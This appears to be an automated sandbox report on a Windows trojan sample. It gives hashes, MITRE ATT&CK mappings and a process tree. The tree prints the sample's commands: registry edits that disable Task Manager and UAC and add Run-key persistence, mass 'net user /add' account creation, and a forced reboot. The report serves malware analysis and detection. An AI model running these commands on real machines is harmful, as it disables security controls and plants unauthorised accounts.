b0e2ea2424bbbacdd3a9f11eb87a05517e24b36aa793c033e491e1c6a5647b3d

Analysis

max time kernel
10s
max time network
14s
platform
windows10-1703_x64
resource
win10-20230220-es
resource tags

arch:x64arch:x86image:win10-20230220-eslocale:es-esos:windows10-1703-x64systemwindows
submitted
02/04/2023, 13:41

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

d.exe
Size

130KB
MD5

29b5eb1472c4de55ea35adc57f9bbca5
SHA1

d4187fb7bbc4a4a03393e0f37f451227c9a3420e
SHA256

b0e2ea2424bbbacdd3a9f11eb87a05517e24b36aa793c033e491e1c6a5647b3d
SHA512

2ae14a8d8856f60c0ad37c04ce521dc387717c2f63ba45d4a808f50cce826cbfdf7b3f1239ae29f46fe14ab75da6b312a90a85a7203b7ff5f05ec8d5254fb28e
SSDEEP

3072:0V3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPiVV:Zt5hBPi0BW69hd1MMdxPe9N9uA069TBE

Score

10^/10

evasion persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables Task Manager via registry modification
evasion

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Windows\CurrentVersion\Run\AVAADA = "C:\\Windows\\d.bat"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AVAADA = "C:\\Windows\\d.bat"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system.ini	cmd.exe
File created	C:\Windows\d.bat	cmd.exe
File opened for modification	C:\Windows\d.bat	cmd.exe
File opened for modification	C:\Windows\win.ini	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings	cmd.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
5112	reg.exe
1588	reg.exe
3420	reg.exe
4064	reg.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4864	vlc.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4864	vlc.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4036	shutdown.exe
Token: SeRemoteShutdownPrivilege	4036	shutdown.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4864	vlc.exe
4864	vlc.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
4864	vlc.exe
4864	vlc.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4864	vlc.exe
2868	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1120 wrote to memory of 1452	1120	d.exe	66
PID 1120 wrote to memory of 1452	1120	d.exe	66
PID 1452 wrote to memory of 1900	1452	cmd.exe	68
PID 1452 wrote to memory of 1900	1452	cmd.exe	68
PID 1452 wrote to memory of 5112	1452	cmd.exe	69
PID 1452 wrote to memory of 5112	1452	cmd.exe	69
PID 1452 wrote to memory of 1588	1452	cmd.exe	70
PID 1452 wrote to memory of 1588	1452	cmd.exe	70
PID 1452 wrote to memory of 2688	1452	cmd.exe	71
PID 1452 wrote to memory of 2688	1452	cmd.exe	71
PID 2688 wrote to memory of 4048	2688	net.exe	72
PID 2688 wrote to memory of 4048	2688	net.exe	72
PID 1452 wrote to memory of 4604	1452	cmd.exe	73
PID 1452 wrote to memory of 4604	1452	cmd.exe	73
PID 4604 wrote to memory of 2068	4604	net.exe	74
PID 4604 wrote to memory of 2068	4604	net.exe	74
PID 1452 wrote to memory of 4644	1452	cmd.exe	75
PID 1452 wrote to memory of 4644	1452	cmd.exe	75
PID 4644 wrote to memory of 2184	4644	net.exe	76
PID 4644 wrote to memory of 2184	4644	net.exe	76
PID 1452 wrote to memory of 3668	1452	cmd.exe	77
PID 1452 wrote to memory of 3668	1452	cmd.exe	77
PID 3668 wrote to memory of 3672	3668	net.exe	78
PID 3668 wrote to memory of 3672	3668	net.exe	78
PID 1452 wrote to memory of 4736	1452	cmd.exe	79
PID 1452 wrote to memory of 4736	1452	cmd.exe	79
PID 4736 wrote to memory of 4780	4736	net.exe	80
PID 4736 wrote to memory of 4780	4736	net.exe	80
PID 1452 wrote to memory of 2212	1452	cmd.exe	81
PID 1452 wrote to memory of 2212	1452	cmd.exe	81
PID 2212 wrote to memory of 1932	2212	net.exe	82
PID 2212 wrote to memory of 1932	2212	net.exe	82
PID 1452 wrote to memory of 1432	1452	cmd.exe	83
PID 1452 wrote to memory of 1432	1452	cmd.exe	83
PID 1432 wrote to memory of 2156	1432	net.exe	84
PID 1432 wrote to memory of 2156	1432	net.exe	84
PID 1452 wrote to memory of 2444	1452	cmd.exe	85
PID 1452 wrote to memory of 2444	1452	cmd.exe	85
PID 2444 wrote to memory of 3744	2444	net.exe	86
PID 2444 wrote to memory of 3744	2444	net.exe	86
PID 1452 wrote to memory of 3748	1452	cmd.exe	87
PID 1452 wrote to memory of 3748	1452	cmd.exe	87
PID 3748 wrote to memory of 4756	3748	net.exe	88
PID 3748 wrote to memory of 4756	3748	net.exe	88
PID 1452 wrote to memory of 4856	1452	cmd.exe	89
PID 1452 wrote to memory of 4856	1452	cmd.exe	89
PID 4856 wrote to memory of 1324	4856	net.exe	90
PID 4856 wrote to memory of 1324	4856	net.exe	90
PID 1452 wrote to memory of 1144	1452	cmd.exe	91
PID 1452 wrote to memory of 1144	1452	cmd.exe	91
PID 1144 wrote to memory of 4484	1144	net.exe	92
PID 1144 wrote to memory of 4484	1144	net.exe	92
PID 1452 wrote to memory of 4944	1452	cmd.exe	94
PID 1452 wrote to memory of 4944	1452	cmd.exe	94
PID 4944 wrote to memory of 4748	4944	net.exe	93
PID 4944 wrote to memory of 4748	4944	net.exe	93
PID 1452 wrote to memory of 4972	1452	cmd.exe	95
PID 1452 wrote to memory of 4972	1452	cmd.exe	95
PID 4972 wrote to memory of 4968	4972	net.exe	96
PID 4972 wrote to memory of 4968	4972	net.exe	96
PID 1452 wrote to memory of 440	1452	cmd.exe	97
PID 1452 wrote to memory of 440	1452	cmd.exe	97
PID 440 wrote to memory of 816	440	net.exe	98
PID 440 wrote to memory of 816	440	net.exe	98

C:\Users\Admin\AppData\Local\Temp\d.exe
"C:\Users\Admin\AppData\Local\Temp\d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\939A.tmp\939B.tmp\939C.bat C:\Users\Admin\AppData\Local\Temp\d.exe"
  2⤵
  - Drops file in Windows directory
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\msg.vbs"
    3⤵
    PID:1900
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5112
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:1588
- - C:\Windows\system32\net.exe
    net user 28009 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2688
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 28009 /add
      4⤵
      PID:4048
- - C:\Windows\system32\net.exe
    net user 25058 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 25058 /add
      4⤵
      PID:2068
- - C:\Windows\system32\net.exe
    net user 23295 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 23295 /add
      4⤵
      PID:2184
- - C:\Windows\system32\net.exe
    net user 5760 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3668
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 5760 /add
      4⤵
      PID:3672
- - C:\Windows\system32\net.exe
    net user 12323 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4736
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 12323 /add
      4⤵
      PID:4780
- - C:\Windows\system32\net.exe
    net user 31924 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 31924 /add
      4⤵
      PID:1932
- - C:\Windows\system32\net.exe
    net user 4287 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1432
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 4287 /add
      4⤵
      PID:2156
- - C:\Windows\system32\net.exe
    net user 21721 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 21721 /add
      4⤵
      PID:3744
- - C:\Windows\system32\net.exe
    net user 32651 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 32651 /add
      4⤵
      PID:4756
- - C:\Windows\system32\net.exe
    net user 29537 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4856
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 29537 /add
      4⤵
      PID:1324
- - C:\Windows\system32\net.exe
    net user 29006 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 29006 /add
      4⤵
      PID:4484
- - C:\Windows\system32\net.exe
    net user 2990 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4944
- - C:\Windows\system32\net.exe
    net user 24261 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4972
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 24261 /add
      4⤵
      PID:4968
- - C:\Windows\system32\net.exe
    net user 8903 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 8903 /add
      4⤵
      PID:816
- - C:\Windows\system32\net.exe
    net user 29468 /add
    3⤵
    PID:4988
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 29468 /add
      4⤵
      PID:2176
- - C:\Windows\system32\net.exe
    net user 28799 /add
    3⤵
    PID:4364
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 28799 /add
      4⤵
      PID:4368
- - C:\Windows\system32\net.exe
    net user 8929 /add
    3⤵
    PID:4564
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 8929 /add
      4⤵
      PID:4488
- - C:\Windows\system32\net.exe
    net user 27401 /add
    3⤵
    PID:3836
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 27401 /add
      4⤵
      PID:4348
- - C:\Windows\system32\net.exe
    net user 6102 /add
    3⤵
    PID:4380
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 6102 /add
      4⤵
      PID:4412
- - C:\Windows\system32\net.exe
    net user 22551 /add
    3⤵
    PID:4372
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 22551 /add
      4⤵
      PID:4672
- - C:\Windows\system32\net.exe
    net user 13 /add
    3⤵
    PID:3372
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 13 /add
      4⤵
      PID:3456
- - C:\Windows\system32\net.exe
    net user 22508 /add
    3⤵
    PID:4292
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 22508 /add
      4⤵
      PID:3452
- - C:\Windows\system32\net.exe
    net user 823 /add
    3⤵
    PID:3388
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 823 /add
      4⤵
      PID:4876
- - C:\Windows\system32\net.exe
    net user 16912 /add
    3⤵
    PID:5020
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 16912 /add
      4⤵
      PID:2040
- - C:\Windows\system32\net.exe
    net user 30473 /add
    3⤵
    PID:5060
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 30473 /add
      4⤵
      PID:5088
- - C:\Windows\system32\net.exe
    net user 10369 /add
    3⤵
    PID:4996
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 10369 /add
      4⤵
      PID:2388
- - C:\Windows\system32\net.exe
    net user 29729 /add
    3⤵
    PID:2384
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 29729 /add
      4⤵
      PID:1500
- - C:\Windows\system32\net.exe
    net user 15769 /add
    3⤵
    PID:3336
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 15769 /add
      4⤵
      PID:3376
- - C:\Windows\system32\net.exe
    net user 14043 /add
    3⤵
    PID:5072
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 14043 /add
      4⤵
      PID:1760
- - C:\Windows\system32\net.exe
    net user 31237 /add
    3⤵
    PID:3132
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 31237 /add
      4⤵
      PID:4132
- - C:\Windows\system32\net.exe
    net user 21484 /add
    3⤵
    PID:2792
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 21484 /add
      4⤵
      PID:2700
- - C:\Windows\system32\net.exe
    net user 2935 /add
    3⤵
    PID:2716
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 2935 /add
      4⤵
      PID:1776
- - C:\Windows\system32\net.exe
    net user 18115 /add
    3⤵
    PID:988
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user 18115 /add
      4⤵
      PID:4228
- - C:\Windows\system32\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\d.bat /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:3420
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\d.bat /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:4064
- - C:\Windows\system32\shutdown.exe
    shutdown -r -t 00 -c "blackhost virus maker"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4036

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user 2990 /add
1⤵
PID:4748

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\WaitUnprotect.m4a"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4864

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3ad2855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2868

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\939A.tmp\939B.tmp\939C.bat

Filesize
1KB

MD5
d734ebb2d1a46aad6f79e4ed263d4d40

SHA1
63f17dbfde5ee6cb75c4cf346b9e7709a0f0b8fb

SHA256
559f3175f533116bfb441f4c15f18a706a558b40bed026d94779d977e8026709

SHA512
832e14de24558b12af0ce6503766d21aaae87f2ad5411aca6a6d3e04245f151f1c14a4e3867efd5ac5f1a04436ca0415af49c83a24b068e14963e36691bc2091

Download Submit
C:\Users\Admin\AppData\Local\Temp\msg.vbs

Filesize
35B

MD5
019dd451c91f63928aae37f251491212

SHA1
3507388e9feeec97a83106920a73e0d65157d3b5

SHA256
c585e37e06e2901ccfdabef79b9318f254714382d5c8f97a020f5cfb2c084af8

SHA512
2b31b9b1d17b5df8437a5a362188368ab458621f78aa7cbef5050a00376c1fff539eec4f152259dc973664b99ba6110f40ed3ca37b0371a25f88120a92fe4ddd

Download Submit
C:\Windows\d.bat

Filesize
130KB

MD5
29b5eb1472c4de55ea35adc57f9bbca5

SHA1
d4187fb7bbc4a4a03393e0f37f451227c9a3420e

SHA256
b0e2ea2424bbbacdd3a9f11eb87a05517e24b36aa793c033e491e1c6a5647b3d

SHA512
2ae14a8d8856f60c0ad37c04ce521dc387717c2f63ba45d4a808f50cce826cbfdf7b3f1239ae29f46fe14ab75da6b312a90a85a7203b7ff5f05ec8d5254fb28e

Download Submit
memory/4864-147-0x00007FF661B20000-0x00007FF661C18000-memory.dmp

Filesize
992KB

Download
memory/4864-148-0x00007FFD90160000-0x00007FFD90194000-memory.dmp

Filesize
208KB

Download
memory/4864-149-0x00007FFD8F900000-0x00007FFD8FBB4000-memory.dmp

Filesize
2.7MB

Download
memory/4864-150-0x00007FFD90140000-0x00007FFD90158000-memory.dmp

Filesize
96KB

Download
memory/4864-151-0x00007FFD90120000-0x00007FFD90137000-memory.dmp

Filesize
92KB

Download
memory/4864-152-0x00007FFD90100000-0x00007FFD90111000-memory.dmp

Filesize
68KB

Download
memory/4864-153-0x00007FFD900E0000-0x00007FFD900F7000-memory.dmp

Filesize
92KB

Download
memory/4864-154-0x00007FFD900C0000-0x00007FFD900D1000-memory.dmp

Filesize
68KB

Download
memory/4864-155-0x00007FFD900A0000-0x00007FFD900BD000-memory.dmp

Filesize
116KB

Download
memory/4864-156-0x00007FFD90080000-0x00007FFD90091000-memory.dmp

Filesize
68KB

Download
memory/4864-157-0x00007FFD8E8E0000-0x00007FFD8EAE0000-memory.dmp

Filesize
2.0MB

Download
memory/4864-158-0x00007FFD7F920000-0x00007FFD809CB000-memory.dmp

Filesize
16.7MB

Download
memory/4864-159-0x00007FFD8FFD0000-0x00007FFD9000F000-memory.dmp

Filesize
252KB

Download
memory/4864-160-0x00007FFD8F610000-0x00007FFD8F631000-memory.dmp

Filesize
132KB

Download
memory/4864-161-0x00007FFD8FFB0000-0x00007FFD8FFC8000-memory.dmp

Filesize
96KB

Download
memory/4864-162-0x00007FFD8F5F0000-0x00007FFD8F601000-memory.dmp

Filesize
68KB

Download
memory/4864-163-0x00007FFD8F5D0000-0x00007FFD8F5E1000-memory.dmp

Filesize
68KB

Download
memory/4864-164-0x00007FFD8F5B0000-0x00007FFD8F5C1000-memory.dmp

Filesize
68KB

Download
memory/4864-165-0x00007FFD8F590000-0x00007FFD8F5AB000-memory.dmp

Filesize
108KB

Download
memory/4864-166-0x00007FFD8F570000-0x00007FFD8F581000-memory.dmp

Filesize
68KB

Download
memory/4864-167-0x00007FFD8E8C0000-0x00007FFD8E8D8000-memory.dmp

Filesize
96KB

Download
memory/4864-168-0x00007FFD8E890000-0x00007FFD8E8C0000-memory.dmp

Filesize
192KB

Download
memory/4864-170-0x00007FFD8E6F0000-0x00007FFD8E75F000-memory.dmp

Filesize
444KB

Download
memory/4864-169-0x00007FFD8E820000-0x00007FFD8E887000-memory.dmp

Filesize
412KB

Download
memory/4864-174-0x00007FFD8E340000-0x00007FFD8E364000-memory.dmp

Filesize
144KB

Download
memory/4864-173-0x00007FFD8E6A0000-0x00007FFD8E6C8000-memory.dmp

Filesize
160KB

Download
memory/4864-175-0x00007FFD8E320000-0x00007FFD8E337000-memory.dmp

Filesize
92KB

Download
memory/4864-172-0x00007FFD8E370000-0x00007FFD8E3C6000-memory.dmp

Filesize
344KB

Download
memory/4864-171-0x00007FFD8E6D0000-0x00007FFD8E6E1000-memory.dmp

Filesize
68KB

Download
memory/4864-177-0x00007FFD8E2D0000-0x00007FFD8E2E1000-memory.dmp

Filesize
68KB

Download
memory/4864-180-0x00007FFD8E260000-0x00007FFD8E273000-memory.dmp

Filesize
76KB

Download
memory/4864-181-0x00007FFD8E240000-0x00007FFD8E252000-memory.dmp

Filesize
72KB

Download
memory/4864-179-0x00007FFD8E280000-0x00007FFD8E2A1000-memory.dmp

Filesize
132KB

Download
memory/4864-178-0x00007FFD8E2B0000-0x00007FFD8E2C2000-memory.dmp

Filesize
72KB

Download
memory/4864-182-0x00007FFD8E040000-0x00007FFD8E17B000-memory.dmp

Filesize
1.2MB

Download
memory/4864-183-0x00007FFD8E210000-0x00007FFD8E23C000-memory.dmp

Filesize
176KB

Download
memory/4864-176-0x00007FFD8E2F0000-0x00007FFD8E313000-memory.dmp

Filesize
140KB

Download
memory/4864-184-0x00007FFD7F760000-0x00007FFD7F912000-memory.dmp

Filesize
1.7MB

Download
memory/4864-185-0x00007FFD8C540000-0x00007FFD8C59C000-memory.dmp

Filesize
368KB

Download
memory/4864-186-0x00007FFD8C520000-0x00007FFD8C531000-memory.dmp

Filesize
68KB

Download
memory/4864-187-0x00007FFD7F6C0000-0x00007FFD7F757000-memory.dmp

Filesize
604KB

Download
memory/4864-188-0x00007FFD7F6A0000-0x00007FFD7F6B2000-memory.dmp

Filesize
72KB

Download
memory/4864-189-0x00007FFD7F460000-0x00007FFD7F691000-memory.dmp

Filesize
2.2MB

Download
memory/4864-190-0x00007FFD7F340000-0x00007FFD7F452000-memory.dmp

Filesize
1.1MB

Download
memory/4864-191-0x00007FFD7F300000-0x00007FFD7F335000-memory.dmp

Filesize
212KB

Download
memory/4864-192-0x00007FFD7F2D0000-0x00007FFD7F2F5000-memory.dmp

Filesize
148KB

Download
memory/4864-193-0x00007FFD7F2B0000-0x00007FFD7F2C1000-memory.dmp

Filesize
68KB

Download
memory/4864-194-0x00007FFD7F240000-0x00007FFD7F2A1000-memory.dmp

Filesize
388KB

Download
memory/4864-195-0x00007FFD7F220000-0x00007FFD7F231000-memory.dmp

Filesize
68KB

Download
memory/4864-196-0x00007FFD7F200000-0x00007FFD7F212000-memory.dmp

Filesize
72KB

Download
memory/4864-197-0x00007FFD7F1E0000-0x00007FFD7F1F3000-memory.dmp

Filesize
76KB

Download
memory/4864-198-0x00007FFD7F140000-0x00007FFD7F1DF000-memory.dmp

Filesize
636KB

Download
memory/4864-199-0x00007FFD7F120000-0x00007FFD7F131000-memory.dmp

Filesize
68KB

Download
memory/4864-201-0x00007FFD7EFF0000-0x00007FFD7F001000-memory.dmp

Filesize
68KB

Download
memory/4864-200-0x00007FFD7F010000-0x00007FFD7F112000-memory.dmp

Filesize
1.0MB

Download
memory/4864-202-0x00007FFD7EFD0000-0x00007FFD7EFE1000-memory.dmp

Filesize
68KB

Download
memory/4864-204-0x00007FFD7EF90000-0x00007FFD7EFA2000-memory.dmp

Filesize
72KB

Download
memory/4864-203-0x00007FFD7EFB0000-0x00007FFD7EFC1000-memory.dmp

Filesize
68KB

Download
memory/4864-205-0x00007FFD7EF70000-0x00007FFD7EF88000-memory.dmp

Filesize
96KB

Download
memory/4864-206-0x00007FFD7EF50000-0x00007FFD7EF66000-memory.dmp

Filesize
88KB

Download
memory/4864-208-0x00007FFD7EF00000-0x00007FFD7EF12000-memory.dmp

Filesize
72KB

Download
memory/4864-209-0x00007FFD7EEE0000-0x00007FFD7EEF1000-memory.dmp

Filesize
68KB

Download
memory/4864-210-0x00007FFD7EEC0000-0x00007FFD7EED1000-memory.dmp

Filesize
68KB

Download
memory/4864-207-0x00007FFD7EF20000-0x00007FFD7EF49000-memory.dmp

Filesize
164KB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads